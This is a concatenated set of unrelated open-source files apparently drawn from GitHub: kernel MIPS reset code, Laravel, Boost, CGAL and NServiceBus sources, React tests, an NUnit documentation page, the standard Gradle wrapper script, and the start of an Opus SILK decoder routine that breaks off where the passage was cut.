CONF_CM_UNCACHED); flush_cache_all(); write_c0_wired(0); /* Give board a chance to do a hardware reset */ board_reset(); /* Jump to the beggining in case board_reset() is empty */ __asm__ __volatile__("jr\t%0"::"r"(0xbfc00000)); } void au1000_halt(void) { #if defined(CONFIG_MIPS_PB1550) || defined(CONFIG_MIPS_DB1550) /* Power off system */ printk(KERN_NOTICE "\n** Powering off...\n"); au_writew(au_readw(0xAF00001C) | (3 << 14), 0xAF00001C); au_sync(); while (1); /* should not get here */ #else printk(KERN_NOTICE "\n** You can safely turn off the power\n"); #ifdef CONFIG_MIPS_MIRAGE gpio_direction_output(210, 1); #endif #ifdef CONFIG_MIPS_DB1200 au_writew(au_readw(0xB980001C) | (1 << 14), 0xB980001C); #endif #ifdef CONFIG_PM au_sleep(); /* Should not get here */ printk(KERN_ERR "Unable to put CPU in sleep mode\n"); while (1); #else while (1) __asm__(".set\tmips3\n\t" "wait\n\t" ".set\tmips0"); #endif #endif /* defined(CONFIG_MIPS_PB1550) || defined(CONFIG_MIPS_DB1550) */ } void au1000_power_off(void) { au1000_halt(); }
{ "pile_set_name": "Github" }
<?php namespace App\Providers; use Illuminate\Support\ServiceProvider; class AppServiceProvider extends ServiceProvider { /** * Bootstrap any application services. * * @return void */ public function boot() { // } /** * Register any application services. * * @return void */ public function register() { // } }
{ "pile_set_name": "Github" }
<html> <!-- Copyright (c) 2005 Trustees of Indiana University Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) --> <head> <title>Boost Graph Library: Python Bindings (Experimental)</title> <script language="JavaScript" type="text/JavaScript"> <!-- function address(host, user) { var atchar = '@'; var thingy = user+atchar+host; thingy = '<a hre' + 'f=' + "mai" + "lto:" + thingy + '>' + user+atchar+host + '</a>'; document.write(thingy); } //--> </script> </head> <body BGCOLOR="#ffffff" LINK="#0000ee" TEXT="#000000" VLINK="#551a8b" ALINK="#ff0000"> <img SRC="../../../boost.png" ALT="C++ Boost" width="277" height="86"> <h1><img src="figs/python.gif" alt="(Python)"/>Boost Graph Library: Python Bindings (<b>Experimental</b>)</h1> <p>The Boost Graph Library offers a wealth of graph algorithms and data types for C++. These algorithms are flexible and efficient, but the mechanisms employed to achieve this goal can result in long compile times that slow the development cycle.</p> <p>The Python bindings are build using the <a href="../../python/doc/index.html">Boost.Python</a> library. The bindings are meant to strike a balance of usability, flexibility, and efficiency, making it possible to rapidly develop useful systems using the BGL in Python.</p> <p>The Python bindings for the BGL are now part of a <a href="http://www.osl.iu.edu/~dgregor/bgl-python/">separate project</a>. They are no longer available within the Boost tree.</p> <HR> <TABLE> <TR valign=top> <TD nowrap>Copyright &copy; 2005</TD><TD> <A HREF="http://www.boost.org/people/doug_gregor.html">Doug Gregor</A>, Indiana University (<script language="Javascript">address("cs.indiana.edu", "dgregor")</script>)<br> <A HREF="http://www.osl.iu.edu/~lums">Andrew Lumsdaine</A>, Indiana University (<script language="Javascript">address("osl.iu.edu", "lums")</script>) </TD></TR></TABLE> </body> </html>
{ "pile_set_name": "Github" }
Microsoft Developer Studio Workspace File, Format Version 6.00 # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! ############################################################################### Project: "VwFirewallDrv"=".\VwFirewallDrv.dsp" - Package Owner=<4> Package=<5> {{{ }}} Package=<4> {{{ }}} ############################################################################### Global: Package=<5> {{{ }}} Package=<3> {{{ }}} ###############################################################################
{ "pile_set_name": "Github" }
/* Szymon Rusinkiewicz Princeton University grid_subsamp.cc Subsample a mesh grid. */ #include "TriMesh.h" #include <cstdio> #include <cstdlib> using namespace std; using namespace trimesh; void usage(const char *myname) { fprintf(stderr, "Usage: %s in.ply subsamp out.ply\n", myname); exit(1); } int main(int argc, char *argv[]) { if (argc < 4) usage(argv[0]); const char *infilename = argv[1], *outfilename = argv[3]; int subsamp = atoi(argv[2]); if (subsamp < 2) { fprintf(stderr, "subsamp must be >= 2\n"); usage(argv[0]); } TriMesh *mesh = TriMesh::read(infilename); if (!mesh) usage(argv[0]); if (mesh->grid.empty()) { fprintf(stderr, "No grid found in %s\n", infilename); usage(argv[0]); } TriMesh *outmesh = new TriMesh; outmesh->grid_width = mesh->grid_width / subsamp; outmesh->grid_height = mesh->grid_height / subsamp; if (outmesh->grid_width == 0 || outmesh->grid_height == 0) { fprintf(stderr, "Resized size is 0\n"); usage(argv[0]); } int n = outmesh->grid_width * outmesh->grid_height; outmesh->grid.resize(n, TriMesh::GRID_INVALID); for (int i = 0; i < n; i++) { int x = i % outmesh->grid_width; int y = i / outmesh->grid_width; int ind = (subsamp * x) + (subsamp * y) * mesh->grid_width; int old_vert = mesh->grid[ind]; if (old_vert < 0) continue; outmesh->grid[i] = int(outmesh->vertices.size()); outmesh->vertices.push_back(mesh->vertices[old_vert]); if (!mesh->normals.empty()) outmesh->normals.push_back(mesh->normals[old_vert]); if (!mesh->confidences.empty()) outmesh->confidences.push_back(mesh->confidences[old_vert]); } outmesh->write(outfilename); }
{ "pile_set_name": "Github" }
{% macro t(key) %}{{ { "language": "vi", "clipboard.copy": "Sao chép vào bộ nhớ", "clipboard.copied": "Sao chép xong", "edit.link.title": "Chỉnh sửa", "footer.previous": "Trước", "footer.next": "Sau", "meta.comments": "Bình luận", "meta.source": "Mã nguồn", "search.placeholder": "Tìm kiếm", "search.result.placeholder": "Nhập để bắt đầu tìm kiếm", "search.result.none": "Không tìm thấy tài liệu liên quan", "search.result.one": "1 tài liệu liên quan", "search.result.other": "# tài liệu liên quan", "skip.link.title": "Vào thẳng nội dung", "source.link.title": "Đến kho lưu trữ mã nguồn", "toc.title": "Mục lục" }[key] }}{% endmacro %}
{ "pile_set_name": "Github" }
<?php namespace Faker\Provider\bn_BD; class Utils { public static function getBanglaNumber($number) { $english = range(0, 10); $bangla = array('০', '১', '২', '৩', '৪', '৫', '৬', '৭', '৮', '৯'); return str_replace($english, $bangla, $number); } }
{ "pile_set_name": "Github" }
import * as React from 'react'; import { isConformant, handlesAccessibility } from 'test/specs/commonTests'; import { mountWithProvider } from 'test/utils'; import { List } from 'src/components/List/List'; import { implementsCollectionShorthandProp } from '../../commonTests/implementsCollectionShorthandProp'; import { ListItem, ListItemProps } from 'src/components/List/ListItem'; const listImplementsCollectionShorthandProp = implementsCollectionShorthandProp(List); describe('List', () => { isConformant(List, { testPath: __filename, constructorName: 'List', }); handlesAccessibility(List, { defaultRootRole: 'list' }); listImplementsCollectionShorthandProp('items', ListItem, { mapsValueToProp: 'content' }); const getItems = (onClick?: Function): (ListItemProps & { key: string })[] => [ { key: 'irving', content: 'Irving', onClick } as any, { key: 'skyler', content: 'Skyler' }, { key: 'dante', content: 'Dante' }, ]; describe('items', () => { it('renders children', () => { const listItems = mountWithProvider(<List items={getItems()} />).find('ListItem'); expect(listItems.length).toBe(3); expect(listItems.first().props().content).toBe('Irving'); expect(listItems.last().props().content).toBe('Dante'); }); it('calls onClick handler for item', () => { const onClick = jest.fn(); const listItems = mountWithProvider(<List items={getItems(onClick)} />).find('ListItem'); listItems .first() .find('li') .first() .simulate('click'); expect(onClick).toHaveBeenCalled(); }); }); describe('selectedIndex', () => { it('should not be set by default', () => { const wrapper = mountWithProvider(<List selectable items={getItems()} />); expect(wrapper.find('li').filterWhere(item => Boolean(item.prop('aria-selected')))).toHaveLength(0); }); it('can be set a default value', () => { const wrapper = mountWithProvider(<List selectable defaultSelectedIndex={0} items={getItems()} />); expect( wrapper .find('li') .at(0) .prop('aria-selected'), ).toBe(true); }); it('should be set when item is clicked', () => { const wrapper = mountWithProvider(<List selectable defaultSelectedIndex={0} items={getItems()} />); expect( wrapper .find('li') .at(0) .prop('aria-selected'), ).toBe(true); wrapper .find('li') .at(1) .simulate('click'); expect( wrapper .find('li') .at(0) .prop('aria-selected'), ).toBe(false); expect( wrapper .find('li') .at(1) .prop('aria-selected'), ).toBe(true); }); it('calls onClick handler for item if `selectable`', () => { const onClick = jest.fn(); const onSelectedIndexChange = jest.fn(); const listItems = mountWithProvider( <List items={getItems(onClick)} onSelectedIndexChange={onSelectedIndexChange} selectable />, ).find('ListItem'); listItems .first() .find('li') .first() .simulate('click'); expect(onClick).toHaveBeenCalled(); expect(onClick).toHaveBeenCalledWith( expect.objectContaining({ type: 'click' }), expect.objectContaining({ index: 0 }), ); expect(onSelectedIndexChange).toHaveBeenCalled(); expect(onSelectedIndexChange).toHaveBeenCalledWith( expect.objectContaining({ type: 'click' }), expect.objectContaining({ selectedIndex: 0 }), ); }); }); });
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>NUnit.org</title> <meta name="description" content="NUnit is the most popular unit test framework for .NET."> <link rel="stylesheet" href="/css/main.css""> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="alternate" type="application/rss+xml" title="NUnit.org" href="/rss.xml""> <link rel="alternate" type="application/atom+xml" title="NUnit.org" href="/atom.xml" /> <link rel="shortcut icon" href="/favicon.ico" /> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/"> <div class="navbar-brand grow"> <img src="/img/nunit.svg" /> </div> </a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="https://nunit.org/news/"><i class="fa fa-commenting-o"></i> News</a></li> <li><a href="https://nunit.org/download/"><i class="fa fa-download"></i> Download</a></li> <li><a href="https://docs.nunit.org"><i class="fa fa-book"></i> Documentation</a></li> <li><a href="https://nunit.org/contact/"><i class="fa fa-envelope-o"></i> Contact</a></li> <li><a href="https://twitter.com/nunit" target="_blank"><i class="fa fa-twitter"></i> Twitter</a></li> <li><a href="https://gitter.im/nunit/nunit" target="_blank"><i class="fa fa-comments-o"></i> Gitter</a></li> <li><a href="https://github.com/nunit" target="_blank"><i class="fa fa-github"></i> GitHub</a></li> </ul> </div><!--/.nav-collapse --> </div> </nav> <div class="container"> <div class="content help"> <div class="notice">Legacy Documentation. View <a href="https://docs.nunit.org">NUnit 3 Documentation</a></div> <div id="help_content"> <h2>Type Constraints (NUnit 2.4)</h2> <p>Type constraints perform tests that are specific to Types. The following type constraints are provided: <table class="constraints"> <tr><th>Syntax Helper</th><th>Constructor</th><th>Operation</th></tr> <tr><td>Is.TypeOf( Type )</td><td>ExactTypeConstraint( Type )</td></td><td>tests that an object is an exact Type</td></tr> <tr><td>Is.InstanceOfType( Type )</td><td>InstanceOfTypeConstraint( Type )</td></td><td>tests that an object is an instance of a Type</td></tr> <tr><td>Is.AssignableFrom( Type )</td><td>AssignableFromConstraint( Type )</td></td><td>tests that one type is assignable from another</td></tr> </table> <h4>Examples of Use</h4> <div class="code"><pre class="prettyprint"> Assert.That("Hello", Is.TypeOf(typeof(string))); Assert.That("Hello", Is.Not.TypeOf(typeof(int))); Assert.That("Hello", Is.InstanceOfType(typeof(string))); Assert.That(5, Is.Not.InstanceOfType(typeof(string))); Assert.That( "Hello", Is.AssignableFrom(typeof(string))); Assert.That( 5, Is.Not.AssignableFrom(typeof(string))); // Using inheritance Expect( 5, Not.InstanceOfType(typeof(string))); Expect( "Hello", AssignableFrom(typeOf(string))); </pre></div> </div> <!-- Submenu --> <div id="subnav"> <ul> <li><a href="docHome.html">NUnit 2.6.3</a></li> <ul> <li><a href="getStarted.html">Getting&nbsp;Started</a></li> <li><a href="writingTests.html">Writing&nbsp;Tests</a></li> <ul> <li><a href="assertions.html">Assertions</a></li> <ul> <li><a href="classicModel.html">Classic&nbsp;Model</a></li> <li><a href="constraintModel.html">Constraint&nbsp;Model</a></li> <ul> <li><a href="equalConstraint.html">Equal&nbsp;Constraint</a></li> <li><a href="sameasConstraint.html">SameAs&nbsp;Constraint</a></li> <li><a href="conditionConstraints.html">Condition&nbsp;Constraints</a></li> <li><a href="comparisonConstraints.html">Comparison&nbsp;Constrants</a></li> <li><a href="pathConstraints.html">Path&nbsp;Constraints</a></li> <li id="current"><a href="typeConstraints.html">Type&nbsp;Constraints</a></li> <li><a href="stringConstraints.html">String&nbsp;Constraints</a></li> <li><a href="collectionConstraints.html">Collection&nbsp;Constraints</a></li> <li><a href="propertyConstraint.html">Property&nbsp;Constraint</a></li> <li><a href="throwsConstraint.html">Throws&nbsp;Constraint</a></li> <li><a href="compoundConstraints.html">Compound&nbsp;Constraints</a></li> <li><a href="delayedConstraint.html">Delayed&nbsp;Constraint</a></li> <li><a href="listMapper.html">List&nbsp;Mapper</a></li> <li><a href="reusableConstraint.html">Reusable&nbsp;Constraint</a></li> </ul> </ul> <li><a href="attributes.html">Attributes</a></li> <li><a href="testContext.html">Test&nbsp;Context</a></li> </ul> <li><a href="runningTests.html">Running&nbsp;Tests</a></li> <li><a href="extensibility.html">Extensibility</a></li> <li><a href="releaseNotes.html">Release&nbsp;Notes</a></li> <li><a href="samples.html">Samples</a></li> <li><a href="license.html">License</a></li> </ul> <li><a href="&r=2.6.3.html"></a></li> </ul> </div> <!-- End of Submenu --> </div> </div> <script src="/js/jquery.min.js"></script> <script src="/js/codeFuncs.js"></script> <footer class="footer"> <div class="container"> <div class="row text-muted"> <div class="col-sm-8"> NUnit 2 Documentation Copyright &copy; 2014, Charlie Poole. All rights reserved. </div> <div class="col-sm-4 text-right"> Supported by the <a href="https://dotnetfoundation.org/">.NET Foundation</a> </div> </div> </div> </footer> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="/js/bootstrap.min.js"></script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-7904234-12', 'auto'); ga('send', 'pageview'); </script> </body> </html>
{ "pile_set_name": "Github" }
namespace NServiceBus.Timeout.Core { using System; using System.Collections.Generic; /// <summary> /// Holds timeout information. /// </summary> public class TimeoutData { /// <summary> /// Id of this timeout. /// </summary> public string Id { get; set; } /// <summary> /// The address of the client who requested the timeout. /// </summary> public string Destination { get; set; } /// <summary> /// The saga ID. /// </summary> public Guid SagaId { get; set; } /// <summary> /// Additional state. /// </summary> public byte[] State { get; set; } /// <summary> /// The time at which the timeout expires. /// </summary> public DateTime Time { get; set; } /// <summary> /// The timeout manager that owns this particular timeout. /// </summary> public string OwningTimeoutManager { get; set; } /// <summary> /// Store the headers to preserve them across timeouts. /// </summary> public Dictionary<string, string> Headers { get; set; } /// <summary> /// Returns a <see cref="String" /> that represents the current <see cref="Object" />. /// </summary> /// <returns> /// A <see cref="String" /> that represents the current <see cref="Object" />. /// </returns> public override string ToString() { return $"Timeout({Id}) - Expires:{Time}, SagaId:{SagaId}"; } } }
{ "pile_set_name": "Github" }
// This file was automatically generated on Fri Dec 03 18:04:02 2004 // by libs/config/tools/generate.cpp // Copyright John Maddock 2002-4. // Use, modification and distribution are subject to the // Boost Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/config for the most recent version. // Test file for macro BOOST_NO_STD_OUTPUT_ITERATOR_ASSIGN // This file should not compile, if it does then // BOOST_NO_STD_OUTPUT_ITERATOR_ASSIGN should not be defined. // See file boost_no_std_oi_assign.ipp for details // Must not have BOOST_ASSERT_CONFIG set; it defeats // the objective of this file: #ifdef BOOST_ASSERT_CONFIG # undef BOOST_ASSERT_CONFIG #endif #include <boost/config.hpp> #include "test.hpp" #ifdef BOOST_NO_STD_OUTPUT_ITERATOR_ASSIGN #include "boost_no_std_oi_assign.ipp" #else #error "this file should not compile" #endif int main( int, char *[] ) { return boost_no_std_output_iterator_assign::test(); }
{ "pile_set_name": "Github" }
1 2 0 4 1 4 0 22 3 9 15 0 3 3 1 0 0 0 1 0 2 0 1 0 0 0 0 0 1 0 0 3 4 6 2 9 4 2 0 0 3 3 0 0 2 0 0 1 1 4 0 0 0 1 0 5 4 0 1 1 14 5 3 5 1 1 1 3 1 0 0 2 0 1 3 1 4 0 1 5 3 0 0 3 0 1 1 4 3 3 3 1 0 3 2 1 0 1 0 1 0 1 7 0 0 2 3 0 2 5 3 3 0 0 0 1 2 1 0 1 0 0 1 5 1 0 0 2 1 1 6 10 1 3 0 0 0 1 10 1 0 3 0 2 0 5 2 3 0 1 0 0 3 1 1 0 0 3 0 0 0 4 1 4 3 2 1 3 0 0 4 2 0 3 2 0 0 1 0 0 0 8 0 0 3 0 4 1 2 3 1 0 1 0 3 1 3 0 1 1 0 0 3 1 1 2 3 3 0 3 1 1 1 1 1 0 2 1 11 1 4 0 5 0 1 5 1 1 14 0 1 1 4 2 2 0 4 1 2 19 0 4 1 5 1 0 0 1 4 0 4 1 1 1 0 0 3 5 0 1 9 0 7 0 0 1 3 0 0 1 5 0 0 4 5 1 0 0 0 0 5 1 1 4 5 3 1 1
{ "pile_set_name": "Github" }
// Copyright (c) 2018 GeometryFactory Sarl (France) // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL$ // $Id$ // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // Author(s) : Maxime Gimeno #ifndef TRIANGLE_CONTAINER_H #define TRIANGLE_CONTAINER_H #include <CGAL/license/Three.h> #include <CGAL/Three/Scene_item.h> #include <CGAL/Three/Viewer_interface.h> #include <CGAL/Three/Primitive_container.h> using namespace CGAL::Three; #ifdef demo_framework_EXPORTS # define DEMO_FRAMEWORK_EXPORT Q_DECL_EXPORT #else # define DEMO_FRAMEWORK_EXPORT Q_DECL_IMPORT #endif struct Tri_d; class QMatrix4x4; namespace CGAL { namespace Three { //! \brief The Triangle_container struct wraps the OpenGL data for drawing triangles. struct DEMO_FRAMEWORK_EXPORT Triangle_container :public Primitive_container { //! \brief The vbosName enum //! //! Holds the `Vbo` Ids of this container. //! enum vbosName { Flat_vertices = 0, //!< Designates the buffer that contains the flat vertex coordinates (not indexed). Smooth_vertices, //!< Designates the buffer that contains the smooth vertex coordinates (indexed). Vertex_indices, //!< Designates the buffer that contains the indices for the smooth vertices. Flat_normals, //!< Designates the buffer that contains the normals for the flat vertices. Smooth_normals, //!< Designates the buffer that contains the normals for the smooth vertices. Facet_centers, //!< Designates the buffer that contains the barycenters of the c3t3 facets or the center of the spheres. Radius, //!< Designates the buffer that contains the radius of the spheres. VColors, //!< Designates the buffer that contains the colors of the smooth vertices. FColors, //!< Designates the buffer that contains the colors of the flat vertices. Texture_map, //!< Designates the buffer that contains the UV map for the texture. Distances, NbOfVbos //!< Designates the size of the VBOs vector for `Triangle_container`s }; //! //! \brief The constructor. //! \param program is the `QOpenGLShaderProgram` that is used by this `Triangle_container` `Vao`. //! \param indexed must be `true` if the data is indexed, `false` otherwise. If `true`, `VBOs`[`Vertex_indices`] must be filled. //! Triangle_container(int program, bool indexed); ~Triangle_container(); //! //! \brief initGL creates the Vbos and Vaos of this `Triangle_container`. //! \attention It must be called within a valid OpenGL context. The `draw()` function of an item is always a safe place to call this. //! //! \param viewer the active `Viewer_interface`. //! void initGL(CGAL::Three::Viewer_interface* viewer) Q_DECL_OVERRIDE; //! //! \brief draw is the function that actually renders the data. //! \param viewer the active `Viewer_interface`. //! \param is_color_uniform must be `false` if the color buffers are not empty, `true` otherwise. //! void draw(CGAL::Three::Viewer_interface* viewer, bool is_color_uniform) Q_DECL_OVERRIDE; void initializeBuffers(Viewer_interface *viewer) Q_DECL_OVERRIDE; /// \name Getters and Setters for the shaders parameters. /// /// Each of those depends of the `OpenGL_program_IDs` this container is using. /// If the shaders of this program doesn't need one, you can ignore it. /// The others should be filled at each `draw()` from the item. ///@{ //! getter for the "shrink_factor" parameter float getShrinkFactor(); //! getter for the "plane" parameter QVector4D getPlane(); //! getter for the "alpha" parameter float getAlpha(); //! getter for the "f_matrix" parameter QMatrix4x4 getFrameMatrix()const; //! getter for the "mv_matrix" parameter QMatrix4x4 getMvMatrix()const; //! setter for the "shrink_factor" parameter void setShrinkFactor(const float&); //! setter for the "plane" parameter void setPlane (const QVector4D&); //! setter for the "alpha" parameter void setAlpha (const float&); //! setter for the "f_matrix" parameter void setFrameMatrix(const QMatrix4x4&); //! setter for the "mv_matrix" parameter void setMvMatrix(const QMatrix4x4&); //! setter for the "is_surface" attribute. Used in PROGRAM_C3T3 void setIsSurface (const bool); ///@} //drawing variables private: friend struct Tri_d; mutable Tri_d* d; }; //end of class Triangle_container } } #endif // TRIANGLE_CONTAINER_H
{ "pile_set_name": "Github" }
#!/usr/bin/env sh # # Copyright 2015 the original author or authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlinks. while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG=`dirname "$PRG"`"/$link" fi done SAVED="`pwd`" cd "`dirname \"$PRG\"`/" >/dev/null APP_HOME="`pwd -P`" cd "$SAVED" >/dev/null APP_NAME="Gradle" APP_BASE_NAME=`basename "$0"` # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD="maximum" warn () { echo "$*" } die () { echo echo "$*" echo exit 1 } # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false nonstop=false case "`uname`" in CYGWIN* ) cygwin=true ;; Darwin* ) darwin=true ;; MINGW* ) msys=true ;; NONSTOP* ) nonstop=true ;; esac CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD="java" which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then MAX_FD_LIMIT=`ulimit -H -n` if [ $? -eq 0 ] ; then if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then MAX_FD="$MAX_FD_LIMIT" fi ulimit -n $MAX_FD if [ $? -ne 0 ] ; then warn "Could not set maximum file descriptor limit: $MAX_FD" fi else warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" fi fi # For Darwin, add options to specify how the application appears in the dock if $darwin; then GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" fi # For Cygwin or MSYS, switch paths to Windows format before running java if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then APP_HOME=`cygpath --path --mixed "$APP_HOME"` CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` JAVACMD=`cygpath --unix "$JAVACMD"` # We build the pattern for arguments to be converted via cygpath ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` SEP="" for dir in $ROOTDIRSRAW ; do ROOTDIRS="$ROOTDIRS$SEP$dir" SEP="|" done OURCYGPATTERN="(^($ROOTDIRS))" # Add a user-defined pattern to the cygpath arguments if [ "$GRADLE_CYGPATTERN" != "" ] ; then OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" fi # Now convert the arguments - kludge to limit ourselves to /bin/sh i=0 for arg in "$@" ; do CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` else eval `echo args$i`="\"$arg\"" fi i=`expr $i + 1` done case $i in 0) set -- ;; 1) set -- "$args0" ;; 2) set -- "$args0" "$args1" ;; 3) set -- "$args0" "$args1" "$args2" ;; 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; esac fi # Escape application args save () { for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done echo " " } APP_ARGS=`save "$@"` # Collect all arguments for the java command, following the shell quoting and substitution rules eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" exec "$JAVACMD" "$@"
{ "pile_set_name": "Github" }
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Internet Society, IETF or IETF Trust, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "main.h" #include "stack_alloc.h" /**********************************************************/ /* Core decoder. Performs inverse NSQ operation LTP + LPC */ /**********************************************************/ void silk_decode_core( silk_decoder_state *psDec, /* I/O Decoder state */ silk_decoder_control *psDecCtrl, /* I Decoder control */ opus_int16 xq[], /* O Decoded speech */ const opus_int16 pulses[ MAX_FRAME_LENGTH ], /* I Pulse signal */ int arch /* I Run-time architecture */ ) { opus_int i, k, lag = 0, start_idx, sLTP_buf_idx, NLSF_interpolation_flag, signalType; opus_int16 *A_Q12, *B_Q14, *pxq, A_Q12_tmp[ MAX_LPC_ORDER ]; VARDECL( opus_int16, sLTP ); VARDECL( opus_int32, sLTP_Q15 ); opus_int32 LTP_pred_Q13, LPC_pred_Q10, Gain_Q10, inv_gain_Q31, gain_adj_Q16, rand_seed, offset_Q10; opus_int32 *pred_lag_ptr, *pexc_Q14, *pres_Q14; VARDECL( opus_int32, res_Q14 ); VARDECL( opus_int32, sLPC_Q14 ); SAVE_STACK; silk_assert( psDec->prev_gain_Q16 != 0 ); ALLOC( sLTP, psDec->ltp_mem_length, opus_int16 ); ALLOC( sLTP_Q15, psDec->ltp_mem_length + psDec->frame_length, opus_int32 ); ALLOC( res_Q14, psDec->subfr_length, opus_int32 ); ALLOC( sLPC_Q14, psDec->subfr_length + MAX_LPC_ORDER, opus_int32 ); offset_Q10 = silk_Quantization_Offsets_Q10[ psDec->indices.signalType >> 1 ][ psDec->indices.quantOffsetType ]; if( 